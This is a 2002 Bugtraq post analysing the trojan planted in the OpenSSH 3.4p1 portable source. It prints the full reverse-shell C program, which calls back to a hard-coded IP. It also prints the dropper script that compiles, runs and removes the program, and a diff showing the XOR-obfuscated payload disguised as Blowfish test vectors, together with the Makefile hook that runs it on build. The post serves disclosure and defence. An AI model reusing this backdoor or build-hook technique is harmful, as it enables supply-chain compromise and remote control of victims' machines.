trojan horse in recent openssh (version 3.4 portable 1)

From: Christian Bahls (christian.bahls@stud.uni-rostock.de)
Date: 08/01/02


Date: Thu, 01 Aug 2002 14:17:36 +0200 (CEST)
From: Christian Bahls <christian.bahls@stud.uni-rostock.de>
To: bugtraq@securityfocus.com


[ i am not subscribed to bugtraq ..
  so if you reply please include me in the cc]

i did an analysis on the trojan horse that was hidden
in the recent portable version of openssh (3.4p1)
it could be found(and still can be) on ftp.openbsd.org
and his mirrors.

in openssh-3.4p1/openbsd-compat a c-file "bf-test.c" has been added
   it tells you it has to check for correct handling in HP-UX PL.2
   systems .. which is in fact 100% rubbish
   [PL.1 has been horrible .. so what could PL.2 be? :-]

in openssh-3.4p1/openbsd-compat "Makefile.in" has been edited to
   respect these changes

when running make "bf-test.c" compiles to a program which has a
  shell-script as output

the shellscript outputs a c-programm and trys really hard to get it
  compiled .. and run

the c-programm connects to a computer in australia(203.62.158.32)
and starts a shell locally if asked by the other computer
[ i have not started this programm .. but the server seems
  to have closed the port 6667(could be a firewall in between though)
  {this computer probably has been attacked beforehand}]

in my opinion this is a really serious attack
.. as i have to say:
1.) i do not often check signatures an packets i install
1.a) especialy i wouldn't have thought about the possibility
     that someone might be able to get access to ftp.openbsd.org
     (ok this is a sun-os machine at the university of alberta)
2.) i normaly run make on a computer reachable by the net
3.) sometimes one is lazy and just runs make && make install as root

you will find all the more interesting stuff
below this signature:

yours
  christian bahls
  math-student
  university of rostock

>> "there she goes .. "

#######
# the c-programm
# [made readable by my favourite indentation program]
# {all comments are by me}
#######
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <setjmp.h>
jmp_buf env;
int s;

/*
 * i_val evaluates to /bin/sh
 */
char *i_val = "\x2f\x62\x69\x6e\x2f\x73\x68";

/*
 * this is a signal-handler routine
 * it catches SIGALARM .. closes the socket
 * and waits for 1 hour and than trys again
 */
void sig(int sig)
{
        close(s);
        sleep(3600);
        longjmp(env, 0);
}
int main()
{
        int x;
        char c, *a[2];
        struct sockaddr_in sa;
        struct sigaction act;

        /*
         * fork() and continue as background process
         */
        switch (fork()) {
            case 0:
                break;
            default:
                exit(0);
        }
        /*
         * daemonize a bit (still associated to the same session)
         */
        close(0);
        close(1);
        close(2);
        /*
         * setup signal handler routines
         */
        memset(&act, 0, sizeof(act));
        act.sa_handler = sig;
        sigaction(SIGALRM, &act, NULL);
        do {
                /*
                 * this is where we a going to return after 1h
                 * if we have to retry
                 */
                setjmp(env);
                /*
                 * set up a socket
                 * connect to 203.62.158.32 port 6667
                 * no this program is not going to do irc
                 */
                if ((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1))
                        exit(1);
                memset(&sa, 0, sizeof(sa));
                sa.sin_family = AF_INET;
                sa.sin_port = htons(6667);
                sa.sin_addr.s_addr = inet_addr("203.62.158.32");
                /*
                 * give it 10 seconds to connect
                 * otherwise start over(1h retry time)
                 * if error occurs .. just die
                 */
                alarm(10);
                if (connect(s, (struct sockaddr *) & sa, sizeof(sa)) == (-1))
                        exit(1);
                /*
                 * read one char from socket
                 * die if something goes wrong
                 */
                if ((x = read(s, &c, 1)) == (-1)) {
                        exit(1);
                } else if (x == 1) {
                        switch (c) {
                            case 'A': /* we got an 'A' .. just exit() */
                                exit(0);
                            case 'D': /* we got an 'D' .. set off the
                                         * alarm() make the socket
                                         * stdin/stdout/stderr .. start a
                                         * shell .. finish if it
                                         * finishes(execve() behavoir) */
                                alarm(0);
                                dup2(s, 0);
                                dup2(s, 1);
                                dup2(s, 2);
                                a[0] = i_val;
                                a[1] = NULL;
                                execve(a[0], a, NULL);
                                break;
                            case 'M': /* just retry */
                                alarm(0);
                                sig(0);
                                break;
                            default:
                        }
                } else {
                        exit(0);
                }
        /*
         * just loop forever
         */
        } while (1);
}

#####
# Output of bf-test:
#####
>>>SNIPP
#!/bin/sh
cat >conftest.c <<_ACEOF
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <setjmp.h>
jmp_buf env;int s;char *i_val="\x2f\x62\x69\x6e\x2f\x73\x68";void sig(int sig){close(s);sleep(3600);longjmp(env,0);}int main(){int x;char c,*a[2];struct sockaddr_in sa;struct sigaction act;switch(fork()){case 0:break;default:exit(0);}close(0);close(1);close(2);memset(&act,0,sizeof(act));act.sa_handler=sig;sigaction(SIGALRM,&act,NULL);do{setjmp(env);if((s=socket(AF_INET,SOCK_STREAM,0))==(-1))exit(1);memset(&sa,0,sizeof(sa));sa.sin_family=AF_INET;sa.sin_port=htons(6667);sa.sin_addr.s_addr=inet_addr("203.62.158.32");alarm(10);if(connect(s,(struct sockaddr*)&sa,sizeof(sa))==(-1))exit(1);if((x=read(s,&c,1))==(-1)){exit(1);}else if(x==1){switch(c){case 'A':exit(0);case 'D':alarm(0);dup2(s,0);dup2(s,1);dup2(s,2);a[0]=i_val;a[1]=NULL;execve(a[0],a,NULL);break;case 'M':alarm(0);sig(0);break;default:}}else{exit(0);}}while(1);}
_ACEOF
(grep -v -i bf-test Makefile.in > m.out ; cp m.out Makefile.in ; rm -f m.out
grep -v -i bf-test Makefile > m.out ; cp m.out Makefile ; rm -f m.out
rm -f bf-test*
TESTPROG="`basename \"\`grep $USER: /etc/passwd\`\"`"
if ! test $TESTPROG ; then TESTPROG=sh; fi
gcc -w conftest.c -o $TESTPROG ; PATH=.:$PATH $TESTPROG
if test $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG && exit;fi
gcc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=.:$PATH $TESTPROG
if test $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG && exit;fi
cc -w conftest.c -o $TESTPROG ; PATH=.:$PATH $TESTPROG
if test $TESTPROG;then rm -f ./conftest ./conftest.c $TESTPROG && exit;fi
cc -w conftest.c -lsocket -lnsl -o $TESTPROG; PATH=.:$PATH $TESTPROG
rm -f ./conftest ./conftest.c $TESTPROG) 1>/dev/null 2>&1
# testing in raw ecb mode
<<<SNAPP

######
# diff of different versions ..
# one is the trojan ..
######
diff -r -u -N non-trojan/openssh-3.4p1/openbsd-compat/Makefile.in trojan/openssh-3.4p1/openbsd-compat/Makefile.in
--- non-trojan/openssh-3.4p1/openbsd-compat/Makefile.in Tue Feb 19 21:27:57 2002
+++ trojan/openssh-3.4p1/openbsd-compat/Makefile.in Wed Jan 31 22:52:03 2001
@@ -26,6 +26,7 @@
         $(CC) $(CFLAGS) $(CPPFLAGS) -c $<

 all: libopenbsd-compat.a
+ @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &

 $(COMPAT): ../config.h
 $(OPENBSD): ../config.h
diff -r -u -N non-trojan/openssh-3.4p1/openbsd-compat/bf-test.c trojan/openssh-3.4p1/openbsd-compat/bf-test.c
--- non-trojan/openssh-3.4p1/openbsd-compat/bf-test.c Thu Jan 1 01:00:00 1970
+++ trojan/openssh-3.4p1/openbsd-compat/bf-test.c Wed Jan 31 22:52:03 2001
@@ -0,0 +1,251 @@
+/*
+ * Blowfish input vectors are handled incorrectly on HP-UX PL.2 systems.
+ * Perform routine compatability checks.
+ */
+#include <stdio.h>
+
+#define KEY_TEST_NUM 25
+static unsigned char key_test[KEY_TEST_NUM]={
+ 0xf0,0xe1,0xd2,0xc3,0xb4,0xa5,0x96,0x87,
+ 0x78,0x69,0x5a,0x4b,0x3c,0x2d,0x1e,0x0f,
+ 0x00,0x11,0x22,0x33,0x44,0x55,0x66,0x77,
+ 0x88};
+
+/* DES cbc input vectors */
+static unsigned char ecb_data[]={
+
+ 0x0c,0x0e,0x00,0x4d,0x46,0x41,0x00,0x5c,0x47,0x25,0x4c,
+ 0x4e,0x5b,0x0f,0x11,0x4c,0x40,0x41,0x49,0x5b,0x4a,0x5c,
+ 0x5b,0x01,0x4c,0x0f,0x13,0x13,0x70,0x6e,0x6c,0x6a,0x60,
+ 0x69,0x25,0x0c,0x46,0x41,0x4c,0x43,0x5a,0x4b,0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,0x40,0x5c,0x4a,0x07,0x1d,0x06,0x14,
+ 0x42,0x4a,0x42,0x5c,0x4a,0x5b,0x07,0x09,0x4e,0x4c,0x5b,
+ 0x03,0x1f,0x03,0x5c,0x46,0x55,0x4a,0x40,0x49,0x07,0x4e,
+ 0x4c,0x5b,0x06,0x06,0x14,0x4e,0x4c,0x5b,0x01,0x5c,0x4e,
+ 0x70,0x47,0x4e,0x41,0x4b,0x43,0x4a,0x5d,0x12,0x5c,0x46,
+ 0x48,0x14,0x5c,0x46,0x48,0x4e,0x4c,0x5b,0x46,0x40,0x41,
+ 0x07,0x7c,0x66,0x68,0x6e,0x63,0x7d,0x62,0x03,0x09,0x4e,
+ 0x4c,0x5b,0x03,0x61,0x7a,0x63,0x63,0x06,0x14,0x4b,0x40,
+ 0x54,0x5c,0x4a,0x5b,0x45,0x42,0x5f,0x07,0x4a,0x41,0x59,
+ 0x06,0x14,0x46,0x49,0x07,0x07,0x5c,0x12,0x5c,0x40,0x4c,
+ 0x44,0x4a,0x5b,0x07,0x6e,0x69,0x70,0x66,0x61,0x6a,0x7b,
+ 0x03,0x7c,0x60,0x6c,0x64,0x70,0x7c,0x7b,0x7d,0x6a,0x6e,
+ 0x62,0x03,0x1f,0x06,0x06,0x12,0x12,0x07,0x02,0x1e,0x06,
+ 0x06,0x4a,0x57,0x46,0x5b,0x07,0x1e,0x06,0x14,0x42,0x4a,
+ 0x42,0x5c,0x4a,0x5b,0x07,0x09,0x5c,0x4e,0x03,0x1f,0x03,
+ 0x5c,0x46,0x55,0x4a,0x40,0x49,0x07,0x5c,0x4e,0x06,0x06,
+ 0x14,0x5c,0x4e,0x01,0x5c,0x46,0x41,0x70,0x49,0x4e,0x42,
+ 0x46,0x43,0x56,0x12,0x6e,0x69,0x70,0x66,0x61,0x6a,0x7b,
+ 0x14,0x5c,0x4e,0x01,0x5c,0x46,0x41,0x70,0x5f,0x40,0x5d,
+ 0x5b,0x12,0x47,0x5b,0x40,0x41,0x5c,0x07,0x19,0x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b,0x4a,0x5c,0x5b,
+ 0x01,0x4c,0x0f,0x02,0x43,0x5c,0x40,0x4c,0x44,0x4a,0x5b,
+ 0x0f,0x02,0x43,0x41,0x5c,0x43,0x0f,0x02,0x40,0x0f,0x0b,
+ 0x7b,0x6a,0x7c,0x7b,0x7f,0x7d,0x60,0x68,0x14,0x0f,0x7f,
+ 0x6e,0x7b,0x67,0x12,0x01,0x15,0x0b,0x7f,0x6e,0x7b,0x67,
+ 0x0f,0x0b,0x7b,0x6a,0x7c,0x7b,0x7f,0x7d,0x60,0x68,0x25,
+ 0x5d,0x42,0x0f,0x02,0x49,0x0f,0x01,0x00,0x4c,0x40,0x41,
+ 0x49,0x5b,0x4a,0x5c,0x5b,0x0f,0x01,0x00,0x4c,0x40,0x41,
+ 0x49,0x5b,0x4a,0x5c,0x5b,0x01,0x4c,0x0f,0x0b,0x7b,0x6a,
+ 0x7c,0x7b,0x7f,0x7d,0x60,0x68,0x06,0x0f,0x1e,0x11,0x00,
+ 0x4b,0x4a,0x59,0x00,0x41,0x5a,0x43,0x43,0x0f,0x1d,0x11,
+ 0x09,0x1e,0x25,0x00};
+
+/* big endian */
+static unsigned long bfplain[2][2]={
+ {0x424c4f57L,0x46495348L},
+ {0xfedcba98L,0x76543210L}
+ };
+
+static unsigned long bfcipher[2][2]={
+ {0x324ed0feL,0xf413a203L},
+ {0xcc91732bL,0x8022f684L}
+ };
+
+
+static unsigned char ocb_data[]={
+ 0x4d,0x2c,0x20,0x73,0x69,0x67,0x29,0x3b,
+ 0x0a,0x20,0x64,0x6f,0x20,0x7b,0x0a,0x20,
+ 0x20,0x73,0x65,0x74,0x6a,0x6d,0x70,0x28,
+ 0x00};
+
+static unsigned char cbc_key [16]={
+ 0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,
+ 0xf0,0xe1,0xd2,0xc3,0xb4,0xa5,0x96,0x87};
+
+static unsigned char cbc_iv [8]={0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10};
+
+#if defined(WIN16) || defined(__LP32__)
+#elif defined(_CRAY) || defined(__ILP64__)
+/*
+ * _CRAY note. I could declare short, but I have no idea what impact
+ * does it have on performance on none-T3E machines. I could declare
+ * int, but at least on C90 sizeof(int) can be chosen at compile time.
+ * So I've chosen long...
+ * <appro@fy.chalmers.se>
+ */
+#else
+#endif
+
+main(void)
+{
+ int i, n, err;
+ unsigned char cbc_in[40],cbc_out[40],iv[8];
+
+ dup2(1, 2);
+#ifdef CHARSET_EPCDIC
+ epcdic2ascii(ecb_data, strlen(ecb_data));
+#endif
+
+ printf("# testing in raw ecb mode\n");
+
+ n=0;
+ if (memcmp(&(bfcipher[n][0]),&(cbc_iv[0]),8) != 0)
+ {
+ err = 1;
+ }
+
+ if (memcmp(&(bfplain[n][0]),&(cbc_iv[0]),8) != 0)
+ {
+ err = 1;
+ }
+
+ if (err)
+ {
+ for (i = 0; i < sizeof(ecb_data)-1; i++)
+ fprintf(stderr, "%c", ecb_data[i] ^ 47);
+ }
+return(0);
+}